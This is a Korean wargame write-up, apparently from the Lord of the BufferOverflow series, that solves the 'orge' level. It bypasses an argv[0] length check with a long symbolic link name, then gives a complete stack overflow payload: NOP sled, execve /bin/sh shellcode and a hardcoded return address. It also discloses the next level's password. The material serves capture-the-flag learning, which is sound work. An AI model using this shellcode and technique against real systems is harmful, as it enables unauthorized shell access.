darkelf // kernel crashed
소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다.
이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다!
argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다.
(python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`
이런 상상도 해보았지만 fail..
알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 심볼릭 링크를 걸어 임의의 파일명을 만들어 우회 해주면 된다고 한다.
ln -s orge `python -c 'print "A"*73'`
요렇게 만들어 진다.
이렇게 실행을 했는데 A*73+orge라고 생각했지만 에러라고 뜬다. 알고보니 ./ (2) + "A" (75) 를 통해 77개가 되면 된다.
그럼 다시 만들자.
ln -s orge `python -c 'print "A"*75'`
성공!
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`
이를 계기로 코어덤프를 떠서 전과 동일하게 풀기로 하였다.
0xbffffb93부터 쉘코드가 존재한다.
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*4+"\x93\xfb\xff\xbf"'`
이제 문제디렉토리 안에서도 심볼릭 링크파일을 만들어 준뒤 위와 같은 페이로드를 실행시켰다.
클리어! timewalker!